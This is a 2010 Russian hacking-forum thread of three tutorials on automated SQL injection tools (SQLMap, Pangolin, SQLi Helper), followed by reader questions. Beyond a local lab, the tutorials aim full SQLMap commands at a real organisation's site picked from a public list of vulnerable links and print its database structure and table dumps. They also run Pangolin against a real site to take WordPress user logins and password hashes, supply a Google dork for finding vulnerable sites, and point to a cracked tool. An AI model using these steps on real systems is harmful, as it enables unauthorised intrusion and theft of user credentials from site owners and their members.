1. Теперь за форумную активность начисляются биткоины и другие криптоденьги. Подробнее.
    Скрыть объявление
  2. Появилась архивная версия форума arhiv.xaker.name, где собраны темы с 2007 по 2012 год.
    Скрыть объявление

Auto-SQL Injections.

Тема в разделе "Статьи", создана пользователем Delivery Man, 14 июн 2010.

  1. Delivery Man
    Delivery Man Новичок
    Симпатии:
    5
    Author: Prosper-H
    Source: forum.reverse4you.org


    Auto-SQL Injections. Example 1


    Доброго времени суток!

    В данном упражнении мы рассмотрим работу с такой интересной утилитой, как SQLMap.

    SQLMap - данная утилита работает на большинстве платформ и написана на Python'e. Позволяет автоматизировать работу обнаружения и эксплуатации SQL Инъекций. Поддерживает такие базы данных, как: MySQL, MS SQL, PostgerSQL, Oracle.

    Что же может данная утилита? А может она многое, вот некоторые ее возможности:

    • Определения "банера системы" (сервера, интерпретатора скриптов, базы данных);
    • Отображении имени пользователя, под которым работает атакуемое хозяйство;
    • Отображение баз данных, таблиц, колонок и полей;
    • Позволяет определить, есть ли у пользователя права администратора БД;
    • Позволяет выполнять произвольные SQL-запросы;
    • При хорошем стечении обстоятельств выдаст список пользователей и их хеш-пароли;
    • Позволяет сделать дамп, как отдельных таблиц, так и полный =);
    • Может взаимодействовать со всем нам известным Metasploit"ом;
    • Используя баги в базах данных, может прочитать разные файлы, лежащие на сервере, будь то текстовый файл или скрипт;
    • Может взаимодействовать с дядей Гуглом;
    • Есть поддержка прокси;
    • Данные могут отправляться как методом GET(по умолчанию), так и POST;
    • Если на сервере включена "magic quotes", то будет применено кодирование с использованием функции CHAR();
    • Существует возможность создавать файлы конфигурации, для тех кому лень постоянно вводить команды;
    • И еще куча прибомбасов... =)

    Вступление сделали - пришла пора потрогать утилитку.

    Для начала нам ее нужно скачать. Для этого пройдем по адресу http://sqlmap.sourceforge.net и заберем свежую, на данный момент, версию "sqlmap 0.8".

    Пользователям Windows следует качать "Portable версию", которая содержит на своем борту интерпретатор Python, который обязателен, для запуска SQLMap. Собственно для более комфортной работы с утилитой - советую скопировать cmd.exe в папку, где находится SQLMap.

    Счастливые обладатели никсов, надеюсь разберутся с запуском и сами ;)

    Итак, скачали, распаковали и что же дальше?

    А дальше нужно определиться с целью, на которой мы будет оттачивать свои навыки работы с SQLMap и для этого используем "паблик ресурсы"... Недолго думая - протопал я на Анти-Чат, в очень полезную тему(для тренировок разумеется) "Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > SQL Инъекции". Далее прошел на последнюю страницу и выбрал первую попавшуюся цель, "для пентестинга". Собственно ею стал, ничем не приметный, Канадский домен: http://blindcanadians.ca/press_releases/index.php?BriefID=50.

    С целью определились - приступим к пентестингу:

    Первое, что нам нужно сделать, это узнать, что крутится на сервере и что вообще это за сервер там такой. Сказано - сделано:

    Код:
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" -b -v 1
    Windows: cmd.exe sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" -b -v 1
    Из представленного листинга мы видим, что:
    • Сервер: Apache 2.0.63
    • Интерпретатор: PHP 5.2.5
    • База данных: MySQL 5 (5.0.90-community)

    В приведенном выше обращении к SQLMap мы использовали три параметра. Собственно, Первый - это "-u", позволяет указать, над каким адресом, мы хотим произвести манипуляции, а Второй - это "-b", говорит о том, что мы хотим "банер". Третий параметр "-v", служит для определения уровня выводимой информации, их всего шесть "0-5".

    Продолжим и узнаем под каким пользователем работает база данных:

    Код:
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-user -v 1
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-user -v 1
    Параметр "--current-user", просит SQLMap отобразить юзера. Далее, узнаем с какой БД сейчас работаем:

    Код:
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-db -v 1
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-db -v 1
    Параметр "--current-db", просит SQLMap отобразит БД.

    Теперь попросим нашу утилитку узанать, есть ли у нашего пользователя права администратора. Делается это следующим образом:

    Код:
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --is-dba -v 1
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --is-dba -v 1
    Параметр "--is-dba" используется для определения прав администратора (True/False) у юзера. Как видим, из приведенно примера, администраторских прав у нас нет =(. Ну да ладно. Едем дальше...

    С помощью нехитрого параметра "--dbs", посмотрим список БД:

    Код:
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dbs -v 1
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dbs -v 1
    Далее, посмотрим таблицы в этих БД, используя параметр "--tables":

    Код:
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -v 1
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -v 1
    HTML:
    ...
    Database: blindcan_bulletin
    [1 table]
    +---------------------------------------+
    | Bulletin
    +---------------------------------------+
    
    Database: blindcan_rating
    [3 tables]
    +---------------------------------------+
    | Category
    | Rating 
    | Resources
    +---------------------------------------+
    
    Database: blindcan_mentor
    [12 tables]
    +---------------------------------------+
    | Availability 
    | Chapters
    | Gender
    | MaterialsFormat 
    | Member
    | MembershipTypes
    | MenteeAge
    | MenteeFormat
    | Person 
    | Province
    | Skills
    | Type
    +---------------------------------------+
    
    Database: blindcan_products
    [4 tables]
    +---------------------------------------+
    | category
    | distributor
    | manufacturer
    | products
    +---------------------------------------+
    
    Database: blindcan_aebc
    [11 tables]
    +---------------------------------------+
    | Briefs
    | cbm
    | cbm_fixed_text
    | Correspondence
    | Issues
    | new_cbm
    | new_cbm_issues
    | Releases
    | Reports
    | resolutions
    | Scholarship
    +---------------------------------------+
    
    Database: blindcan_membership
    [12 tables]
    +---------------------------------------+
    | cbm
    | chapter
    | correspondence
    | dues
    | format
    | member
    | member_old
    | membership_type
    | organization_type
    | payment
    | privilege
    | province
    +---------------------------------------+
    
    Database: blindcan_survey
    [17 tables]
    +---------------------------------------+
    | apAge
    | apCategory
    | apDistributor
    | apFavorite
    | apGender
    | apPopulation
    | apProducts
    | apPurchaseType
    | apReadingMethod
    | apSurvey
    | apSurveyReadingMethod
    | apWishList
    | NameChange
    | statement
    | tbase
    | tbase_like_statement
    | tbase_statement
    +---------------------------------------+
    
    Database: information_schema
    [17 tables]
    +---------------------------------------+
    | CHARACTER_SETS
    | COLLATION_CHARACTER_SET_APPLICABILITY
    | COLLATIONS
    | COLUMN_PRIVILEGES
    | COLUMNS
    | KEY_COLUMN_USAGE
    | PROFILING
    | ROUTINES
    | SCHEMA_PRIVILEGES
    | SCHEMATA
    | STATISTICS
    | TABLE_CONSTRAINTS
    | TABLE_PRIVILEGES
    | TABLES
    | TRIGGERS
    | USER_PRIVILEGES
    | VIEWS
    +---------------------------------------+
    
    [03:22:38] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'
    [*] shutting down at: 03:22:38
    Так же, есть возможность посмотреть список таблиц в конретной БД, используя такую команду:

    Код:
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -D blindcan_rating -v 1
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -D blindcan_rating -v 1
    HTML:
    ...
    Database: blindcan_rating
    [3 tables]
    +-----------+
    | Category
    | Rating
    | Resources
    +-----------+
    
    [06:03:35] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'
    [*] shutting down at: 06:03:35
    Если захочется окунуться глубже, то можно посмотреть столбци конкретной таблици. Делается это так:

    Код:
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases//index.php?BriefID=50" --colums -T Bulletin -D blindcan_bulletin -v 1
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --colums -T Bulletin -D blindcan_bulletin -v 1
    HTML:
    ...
    Database: blindcan_bulletin
    Table: Bulletin
    [6 columns]
    +-------------+--------------+
    | Column      | Type
    +-------------+--------------+
    | BulletinID  | int(11)
    | ContactInfo | varchar(255)
    | Description | text
    | Expires     | date
    | PostDate    | date
    | Subject     | varchar(100)
    +-------------+--------------+
    
    [06:13:52] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'
    [*] shutting down at: 06:13:52
    Параметр "-Т" указывает на конкретную таблицу, а параметр "-D" соответственно на базу данных.

    Для тех, кого интересуют внутренности таблиц(ы) - могут использовать ниже приведенную команду, для дампа последней(них):

    Код:
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating -v 1
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating -v 1
    HTML:
    Database: blindcan_rating
    Table: Category
    [13 entries]
    +------------+----------------------------------------------------+
    | CategoryID | Description
    +------------+----------------------------------------------------+
    | 1          | Advocacy
    | 2          | Alternative Formats
    | 3          | Camps
    | 4          | Deaf-Blindness
    | 5          | Education
    | 6          | Employment
    | 7          | Eye Health / Medical Organizations, Information an
    | 8          | Guide Dogs
    | 9          | Low Vision
    | 10         | On-Line Information and Resources
    | 11         | Products and Technologies
    | 12         | Rehabilitation
    | 13         | Services and Support
    +------------+----------------------------------------------------+
    
    [06:59:16] [INFO] Table 'blindcan_rating.Category' dumped to CSV file '/src/sqlmap/output/blindcanadians.ca/dump/blindcan_rating/Category.csv'
    [06:59:16] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'
    [*] shutting down at: 06:59:16
    Если же интересует, не вся таблица, а конкретные столбци, то их можно выбрать добавив параметры "--start" и "--stop". Выглядеть это будет так:

    Код:
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating --start 1 --stop 5 -v 1
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating --start 1 --stop 5 -v 1
    Параметр "--start" - указывает на начальную строку таблици, а параметр "--stop" соответственно - на конечную.

    Сделать полный бэкап, можно используя параметр "--dum-all":

    Код:
    Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump-all -v 1
    *nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump-all -v 1
    На этом разрешите откланяться.

    Успехов!

    Цель данной статьи была не объяснить и разъясненить всевозможные параметры данной утилиты, а подогреть интерес, тех кто с ней не знаком, а так же заинтересовать в ее дальнейшем использовании.

    Собственно перечень всех команд, можно посмотреть в официально мануале "sqlmap user's manual" (EN), который находится в распакованном архиве "sqlmap/doc/README.(html|PDF)" или проследовать на оффсайт: http://sqlmap.sourceforge.net/doc/README.(html|PDF).

    PS: Продолжение следует...

    Prosper-H (c) reverse4you.org


    Внимание! Информация предоставлена исключительно в ознакомительных целях! Ни автор, ни администрация за ваши действия ответственности не несут!
     
    14 июн 2010
    3 пользователям это понравилось.
  2. Delivery Man
    Delivery Man Новичок
    Симпатии:
    5
    Auto-SQL Injections. Example 2

    Author: Prosper-H
    Source: forum.reverse4you.org


    Auto-SQL Injections. Example 2


    Доброго времени суток!

    В прошлом упражнении, Auto-SQL Injections. Example 1, мы рассматривали скриптовую утилиту SQLMap. Позволяющую производить автоматические SQL-Injections.

    В сегодняшнем упражнении мы рассмотрим программу Pangolin Professinal Edition v3.x

    Pangolin 3.x (от лат. Pholidota «ящер») - разработан китайскими братьями, по разуму. Предназначен для быстрой эксплуатации SQL-Injections. По заявлению пользователей является лучшим в своем роде инструментом.

    К сожалению работает Pangolin только в Windows. Из себя представляет гламурное и до безобразия просто приложение. Благодаря своей простоте с Pangolin сможет работать даже ребенок.

    Pangolin поддерживает работу с большим количеством баз данных, а именно: MySQL, PostgreSQL, Oracle, MSSQL, Access, SQLite, Informix, Sybase, DB2.

    На этом вступление закончим и перейдем непосредственно к подготовке нашего стола, где мы проверим работу данной программы.

    Для этого нам потребуется:


    • Операционная система Windows;
    • Denwer/XAMPP (в представлении не нуждаются);
    • Wordpress;
    • Plugins Photoracer;


    Где взять OS Windows, а так же Denwer/XAMPP, вопросов не должно возникнуть. Wordpress качаем с официального сайта, последнюю версию. Далее качаем последнюю версию плагина Photoracer, на момент написания статьи она была одна единственная v1.0. Собственно разработчиками данного плагина являются итальянцы, которые забросили разработку плагина еще в далеком 2008, но как не странно несколько десятков уязвимых сайтов(их всего столько в природе) с данным плагином можно найти с помощью Гугла без каких-либо трудностей, следует просто ввести “inurl:/wp-content/plugins/photoracer/viewimg.php?id=”.

    Но собственно дабы сохранить ваши нервы и уберечь от параноидальности - будем работать у себя в локальной сети…

    Надеюсь, дочитав до этих строк, вы уже установили Wordpress, не так ли? Окей) Тогда установим наш плагин, забросив папку “photoracer” в “wp-content/plugins”, затем переходим во вкладку “Plugins” и активируем плагин:


    Рисунок 1. Активация плагина​

    Все! Уязвимый плагин установлен. Теперь настроим его, немного добавив “контента”.

    Управление плагином размещено в “Settings”, там вы заметите новую вкладку “Photo Racer” – жмем на нее. Далее заполняем появившуюся форму, я ее заполнил так:


    Рисунок 2. Форма "фото-конкурса"​

    В верху у вас появится добавленный “фото-конкурс”. Далее нам нужно добавить хотя бы одну фотографию. Для этого нажмем на ссылку “Refresh”:


    Рисунок 3. Добавление фото​

    Перед вами появится следующее меню:


    Рисунок 4. Окно выбора публикации​

    Жмем “publica foto” и в появившейся форме добавляем картинку:


    Рисунок 5. Окно добавления фото​

    Жмем “Submit” – картинка добавлена:


    Рисунок 6. Фотография добавлена​

    Рад вас поздравить, полевая обстановка настроена - можно приступать к запуску Pangolin =)

    Но тут возникает вопрос, где его взять?? Собственно программа является приватной… Спешу вас обрадовать – мир не без хороших людей =) И этим хорошим человеком оказался Hmily. Собственно его патчем мы и воспользуемся, взять его можно с его странички:

    Сразу предупреждаю, антивирусы на него ругаются, поэтому параноикам рекомендую запускать Pangolin под виртуалкой.

    Уже пропатченный Pangolin можно взять с нашего архива:

    Распаковываем и запускаем…

    Перед нами открывается главное окно программы:


    Рисунок 7. Pangolin - главное окно​

    Как я и говорил программка проста, не правда ли? А то))

    Ну да ладно, вашим домашним заданием будет разобраться с навигацией и пунктами меню. Все банально просто, поэтому особых трудностей вызывать не должно. Мы же приступим к нашему Wordpress”y с установленным плагином Photoracer, про которые уже наверно забыли.

    Мой сервер с площадкой для тестирования расположен по адресу “http://192.168.1.35”. Уязвимость находится по адресу: “http://192.168.1.35/wp-content/plugins/photoracer/viewimg.php?id=1”.

    Заполняем главное окно таким образом:


    Рисунок 8. Заполнения полей ввода​

    Поля обведенные синим – являются обязательными, красными – можно оставить по умолчанию, Pangolim, сам определит их, но он иногда ошибается, поэтому всегда когда есть возможность лучше их заполнять.

    Поля заполнили? Тогда чего ждем? Жмем “Scan => Check”.

    Вывод программы следующий:


    Рисунок 9. Результат работы "Scan => Check"​

    Собственно мы видим два окна, одно обведено “красным”, где нам вывелась некоторая полезная информация, другое обведено “синим” – собственно на следующем шаге мы будем взаимодействовать с ним.

    И так переходим к окну обведенному “синим” и нажмем кнопку “Select all”, затем “Go (baby)”. Получаем следующую информацию:


    Рисунок 10. Результат работы "Go"


    Рисунок 11. Результат работы "Go"


    Рисунок 12. Результат работы "Go"​

    Далее нам следует выбрать базу данных, с которой мы будем работать дальше. Ставим галочку на желаемой БД(по умолчанию, если не выберите будет используемая «wordpress»), жмем “Use this database”:


    Рисунок 13. Выбор БД​

    Затем переходим на вкладку “Data” и жмем “Tables” и наблюдаем вывод, списка таблиц:


    Рисунок 14. Результат работы "Data" => "Tables"


    Рисунок 15. Результат работы "Data" => "Tables"​

    Далее отмечаем интересующую нас таблицу и жмем “Columns”. Наблюдаем вывод столбцов таблицы:


    Рисунок 16. Результат работы "Data" => "Columns"​

    Но собственно, потому что программа у нас крякнута, то вывод столбцов глючит… Что собственно мы и видим, так как отобразился только один “ID”. Но нам надо как-то увидеть данные таблицы, а увидеть мы их сможем только, когда будем знать названия столбцов…

    Что же делать? Собственно решение есть. Их, столбцы, вам придется достать с помощью ручной SQL Injections, но так как руками действовать лень >,< мы воспользуемся тем фактом, что на нашем подопытном кролике(192.168.1.35) установлен wordpress, а значит мы можем подсмотреть столбцы у себя на сервере. Чем собственно я и воспользовался =)

    Как сказал мне phpmyadmin – столбцы следующие(взял только те которые нам будут интересны):


    • user_login
    • user_pass
    • user_nicename
    • user_email
    • user_url
    • user_status
    • display_name


    Добавим их в Pangolin, таким образом(нажав правой кнопкой мыши над нужной таблицей и выбрав в пункте меню “Add Column”):


    Рисунок 17. Ручное добавление столбцов


    Рисунок 18. Ручное добавление столбцов​

    После того как столбцы добавлены, выделим их “галочками”. Справой стороны мы можем видеть окно в котором отображается результат выделения наших столбцов (вверху помечено красным). Синим помечено поле в котором появится данные выбранной таблицы. Для того что бы запустить процесс вывода данных – нужно нажать “Datas”:


    Рисунок 19. Выбор столбцов​

    Вот и наши данные =)


    Рисунок 20. Результат работы "Datas"​

    Но сукдненько как-то, не находите? Я поленился создавать пользователей, да и теория теорией… Не правда ли? Поэтому пропиарим в очередной раз АнтиЧат(Гуглу и так пиара хватает, а вот парням которые выкладывают посты с уязвимыми ссылками – надо сказать «спасибо»), воспользовавшись старой темой (Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > SQL Инъекции) из прошлой статьи (Auto-SQL Injections. Exmaple 1) - найдем там пост с интересующими нас ссылками:

    https://forum.antichat.ru/printthread.php?t=21336&page=1157&pp=10

    Правда не все они работают, но вот нудиский сайт довольно таки интересный ;)

    Цель для пентеста нашли? Вижу глаза горят, значит нашили))
    Проделываем все выше описанные манипуляции, а именно:


    • Вставляем URL (параметры не трогаем, пусть Pangolin сам определит все);
    • Жмем “Scan => Check”;
    • Далее “Select all”, затем “Go (baby)”;
    • Базу данных не выбираем, по умолчанию уже выбрана та что нам нужно – переходим сразу на вкладку “Data”;
    • Жмем “Tables”;
    • Таблицы появились – выбираем “wp_users” и жмакаем “Columns”;
    • Снова ловим баг, со столбцами… Добавляем какие нужно, выше описано, как это сделать;
    • Расставляем галочки;
    • Жмем “Datas”
    • Открываем Компот/Колу/Пиво, нужное подчеркунуть, - вы это заслужили, если дочитали до этих строк =)


    Собственно на все про все (выбор URL и работа программы) ушло 2 минуты и мы имеем результат:


    Рисунок 21. Демонстрация работы Pangolin, на реальном сайте, из интернета​

    Статья подходит к концу и я все-таки буду не прав, если не упомяну про Гугл, так как работа с ним интегрирована в Pangolin =) Заинтересованы?

    Сейчас я покажу, как можно с помощью Pangolin, наловить уязвимых ссылок, на ужин. Итак начнем…

    Для начала перейдем в “Tool => Injection Digger”. Перед вами появится, следующее окно:


    Рисунок 22. Окно для работы с Google​

    Введем такие параметры(собственно вводить можете любые):


    Рисунок 23. Ввод параметров​

    В "синем" поле, будет вывод удовлетворяющих Pangolin урлов.

    Жмем поиск:


    Рисунок 24. Список сайтов​

    Видим появившийся список урлов.

    Далее дадим команду проверить, найденные сайты, на SQL Injections – нажав “Check”:


    Рисунок 25. После проверки​

    Ждем некоторое время и видим, что некоторые сайты помечены "красным" щитом, собственно эти сайты нас и интересуют, так как являются уязвимыми.

    Теперь жмем на уязвимый URL и на кнопочку "Test". Далее действуем по накатанной схеме... Да и не забывайте выставлять или наоборот обнулять параметры, так как Pangolin оставляет их такими, которые были до запуска.

    Ну, а теперь old school, для тех кто читал предыдущее упражнение…

    Для того, что бы сравнить результаты работы SQLMap и Pangolin – в SQLMap нужно использовать следующие дополнительные параметры. А именно:

    В моем случае хватило такого запроса:

    На этом разрешите откланяться =)

    Успехов!

    PS: To be continued…

    Prosper-H (c) reverse4you.org​


    Благодарности:

    Спасибо, команде и форуму r0 Crew, за то что вы есть =)
    Спасибо, milw0rm.com, inj3ct0r.com, explo.it, за постоянно пополняющиеся базы;
    Спасибо, парням из АнтиЧата, Ваши ссылки часто бывают полезными ;)
    Ну и конечно же - спасибо, всем, кто читает эти строки…


    Внимание! Информация предоставлена исключительно в ознакомительных целях! Ни автор, ни администрация за ваши действия ответственности не несут!
     
    Последнее редактирование модератором: 6 июл 2010
    3 июл 2010
  3. onthar
    onthar Команда форума Админ
    Симпатии:
    396
    Auto-SQL Injections. Example 3

    Author: Prosper-H
    Source: forum.reverse4you.org


    Auto-SQL Injections. Example 3


    Доброго времени суток!

    Перед вами очередной обзор утилиты, оформленный в виде упражнения.

    В прошлом упражнении, Auto-SQL Injections. Example 2, мы рассматривали Pangolin. Работает он, как GUI-шное приложение Windows и позволяет производить автоматические SQL-инъекции.

    В сегодняшнем упражнении мы рассмотрим программу SQLi Helper v2.7.

    SQLi Helper v2.7 – разработана reiluke. В ходит в небольшой набор утилит “reiluke tools”. Сама утилита, как и Pangolin, предназначена для быстрой эксплуатации SQL-Injections.

    Некоторые возможности, SQLi Helper v2.7:
    • умеет брутфорсить таблицы, колонки таблиц;
    • может дампить выбранные столбцы, определенной таблицы;
    • позволяет сохранять результат работы и загружать его снова;

    В своем арсенале имеет инструкции для работы с такими базами данных, как: MySQL, MSSQL, Access. Не густо, но нас устраивает =)

    Набор утилит “reiluke tools” предназначен только для работы в OS Windows. Интерфейс SQLi Helper v2.7, так же прост в использовании и чем-то отдаленно напоминает старые версии Pangolin 1.x, разве что кнопки и окна - свалены в одно главное окно.

    Остальную информацию, по программе, сможете получить после непосредственного использования, чем собственно мы сейчас и займемся.

    Площадка для тестирования остается той же, что и в предыдущем упражнении, а именно:
    • Операционная система Windows;
    • Denwer/XAMPP (в представлении не нуждаются);
    • Wordpress;
    • Plugins Photoracer;

    Сам набор “reluki tools”, качаем из официального источника. Так же данный набор вы найдете в нашем файловом архиве:

    URL: SQLi Helper v2.7
    Password: www.reverse4you.org

    Как и в прошлый раз – предупреждаю: антивирусы - ругаются, поэтому параноикам рекомендуем запускать SQLi Helper v2.7 под виртуалкой.

    Собственно комментарий автора, по этому поводу, можно видеть на его официальной страничке, в теме: SQLihelper as trojan

    Распаковываем и запускаем…

    Перед нами открывается главное окно программы:

    Auto-SQL Injections.
    Рисунок 1. SQLi Helper v2.7 – Главное окно​

    Ничего сложно в интерфейсе не видно, поэтому преступим непосредственно к тестированию. Координаты моей цели, как и в прошлый раз находятся по адресу:
    [​IMG] Цитата:
    http://192.168.1.35/wp-content/plugins/photoracer/viewimg.php?id=1
    [​IMG]
    Прочувствовать работу программы можно так же на этом URL”е:
    [​IMG] Цитата:
    http://nudephotocontest.com/wp-conte...ewimg.php?id=4
    [​IMG]
    Но прежде чем это делать, как заметил один из читателей предыдущих статей, нужно спросить разрешение у владельцев ресурса ;) Ну или хотя бы оповестить, как это делал я.

    Так же стоит упомянуть, то что в наборе “reluki tools”, есть “exploit scanner”:

    Auto-SQL Injections.
    Рисунок 15. Exploit Scaner

    Который ищет уязвимые сайты. Как с ним работать думаю разберетесь сами ;)

    Домашнее задание остается тем же: разобраться с навигацией и кнопками меню не рассмотренными в данном упражнении.

    Приступим к SQL Injection. В водим тестируемый URL и жмем “Inject”, все остальные действия выполнит SQLi Helper сам:

    Auto-SQL Injections.
    Рисунок 2. Ввод параметров

    Auto-SQL Injections.
    Рисунок 3. Результат работы​

    Собственно результат работы, который дает нам кое-какую полезную информацию о сервере и его начинке, представлен в окне обведенном “красным”, так же в процессе работы была сгенерирована некоторая дополнительная информация, обведена “синим”, которая позволяет видеть ход и последовательность действий SQLi Helper”a.

    Следующим шагом будет извлечение списка баз данных, что мы сделаем нажав на кнопку “Get Database”:

    Auto-SQL Injections.
    Рисунок 4. Список БД​

    После вывода списка баз данных выберем нужную нам БД и выведем список таблиц. Делаем - это нажав на, как вы все догадались, на “Get Tables”:

    Auto-SQL Injections.
    Рисунок 5. Список Таблиц​

    Далее выводим список, столбцов нужной таблицы нажав на “Get Columns”. В данном случае нас интересует таблица wp_users, в которой находятся пароли:

    Auto-SQL Injections.
    Рисунок 6. Список Столбцов​

    После вывода столбцов таблицы у нас появляется возможность сделать дамп, wp_users, как частичный, выбрав некоторые столбцы данной таблицы, так и полный дамп таблицы выбрав все столбцы. Выбираем user_login, user_pass, user_email и жмем “Dump Now”:

    Auto-SQL Injections.
    Рисунок 7. Дамп​

    Далее, на всякий случай, сохраним “структуру” – нажав на “Save Structure”. В дальнейшем мы сможем загрузить ее, нажав “Load Structure”, и продолжить свою работу с базой данных.

    В арсенале этой программы так же имеется возможность читать файлы, “Load File” с тестируемого сервера, правда не всегда эта функция работает. Проверим работу данной возможности учитывая операционную систему, с которой мы работаем. Так как работаем мы в OS Windows, то попробуем прочитать файл “C:\boot.ini”:

    Auto-SQL Injections.
    Рисунок 8. Load File​

    Как видим все сработало на отлично и содержимое файла было удачно выведено =)

    Так же стоит упомянуть о возможности проведения Blind SQL Injections. Собственно эту возможность мы сможем испытать, нажав на одноименную кнопку “Blind Dump”. Так же стоит заметить, что данная опция реализована в виде отдельной исполняемой программы, которую вы сможете найти в папке “reluki tools”.

    Сама по себе Blind Dump может оказаться очень полезной, для определения таблиц и столбцов. Собственно проверим ее работу испытав на нашем, уязвимом, скрипте. Окно данной программы выглядит так:

    Auto-SQL Injections.
    Рисунок 9. Blind Dump

    Так как мы очень ленивы, то попытаемся заставить утилиту сгенерировать нужный нам код. Для начала попросим обнаружить все доступные нам базы данных, для этого нажмем на кнопку “Database” и введем URL(http://192.168.1.35/wp-content/plugins/photoracer/viewimg.php?id=1), а в поле “Keyword True” введем “da :admin”. Далее жмем “Brute” и идем что-нибудь быстренько перекусить, пока проходит брутфорс. Перекусили и видим такой результат:

    Auto-SQL Injections.
    Рисунок 10. Auto SQL Blind Injections – вывод БД​

    Следующим шагом надо будет узнать, таблицы, конкретной базы данных. В нашем случае нас интересует БД “wordpress”.

    Автор Blind Dump, как-то не продумал возможность очистки поля, обведенного “салатовым”:

    Auto-SQL Injections.
    Рисунок 11. Blind Dump - Баг​

    Поэтому закрываем утилиту и запускаем снова нажав “Blind Dump”. Далее жмем на “Tables” и вводим следующие данные:
    [​IMG] Цитата:
    Enter URL: “http://192.168.1.35/wp-content/plugins/photoracer/viewimg.php?id=1”
    Enter Database Name: “wordpress”
    Keyword True: “da :admin”
    [​IMG]
    Впоследствии жмем на “Brute” и идем пить чай. После проработки программы - вывод следующий:

    Auto-SQL Injections.
    Рисунок 12. Auto SQL Blind Injections – вывод Таблиц

    Auto-SQL Injections.
    Рисунок 13. Auto SQL Blind Injections – вывод Таблиц​

    Итак таблицы мы знаем – теперь выведем столбцы таблицы wp_users. Перезаходим в Blind Dump, да бы очистить “поле вывода”. Жмем “Columns” и вводим такие параметры:
    [​IMG] Цитата:
    Enter URL: “http://192.168.1.35/wp-content/plugins/photoracer/viewimg.php?id=1”
    Enter Table Name: “wp_users”
    Keyword True: “da :admin”
    [​IMG]
    Жмем “Brute” и можно сходить на перекур. После проработки программы - вывод следующий:

    Auto-SQL Injections.
    Рисунок 14. Auto SQL Blind Injections – вывод Столбцов​

    Все столбцы выведены, а значит, свою работу она выполнила. На этой мажорной ноте - разрешите откланяться =)

    Успехов!

    PS: To be continued…

    Prosper-H (c) reverse4you.org​


    Внимание! Информация предоставлена исключительно в ознакомительных целях! Ни автор, ни администрация за ваши действия ответственности не несут!
     
    30 авг 2010
  4. stavskiys
    stavskiys Новичок
    Симпатии:
    1
    А как быть, если параметр идет как часть url?

    Код:
    http://mysite.com/user/10/
    В данном примере, параметр 10.
     
    13 сен 2010
    1 человеку нравится это.
  5. Mei
    Mei bit of love Продвинутый
    Симпатии:
    220
    stavskiys, указывать в форме "mysite.com/index.php?user=10", то есть так, как идет в движке. Если идет подмена УРЛа через mod_rewrite, то оригинальный адрес с параметром сохраняется и работает, просто видоизмененные ссылки тоже начинают работать.

    А вот если подмена происходит иначе или через другой модуль, то надо ковырять глубже. Для начала просто проверь, будут ли работать ссылки через "index.php?user=10". Не исключено, что обработчик называется не "index" или же есть какие-то дополнительные параметры...
     
    14 сен 2010
  6. stavskiys
    stavskiys Новичок
    Симпатии:
    1
    Да, используется mod_rewrite. Все запросы, за исключением обращений к конкретным файлам(картинки, css и т.п.) идут в отну точку - обработчик. Там разбирается REQUEST_URI и исходя из него согласно прописаным правилам выполняются определенные действия. Т.е. параметры идущие как часть url не превращаются в GET или POST.

    Как сказать sqlmap, что нужно "щупать" параметр из части url?
     
    15 сен 2010
  7. Дмитр
    Дмитр Новичок
    Симпатии:
    4
    Хочу задать вопрос.
    Использую SQLi Helper v2.7
    все пркрасно проходит список DataBase появляется, таблицы и столбцы прекрасно вынимаются, но как только доходит до Dump начинаются чудеса, к примеру тащит users пишет 12 записей, а показывает 6, или pass покажет из 12 один , или вообще ничего.

    Чтобы все это значило?:confused:
     
    8 апр 2011
  8. Hated
    Hated Новичок
    Симпатии:
    0
    Ребят,нужна помощь...юзал WebCruiser и Havij и Pangolin,во всех прогах,когда добираюсь до базы,вместо таблиц и калонок(их адекватных названий) программы выдают,наборы всяких закарючек,значков и прочей лабуды...в чем трабл?подскажите плиз
     
    14 дек 2011
  9. zapadlo_zapadlov
    zapadlo_zapadlov Продвинутый
    Симпатии:
    4
    Эх кто бы выложил посвежее софт с таким же мануалом как выше :)
    Да чтоб без всяких склеек вот где ценная тема была бы.
     
    14 дек 2011

Поделиться этой страницей

Загрузка...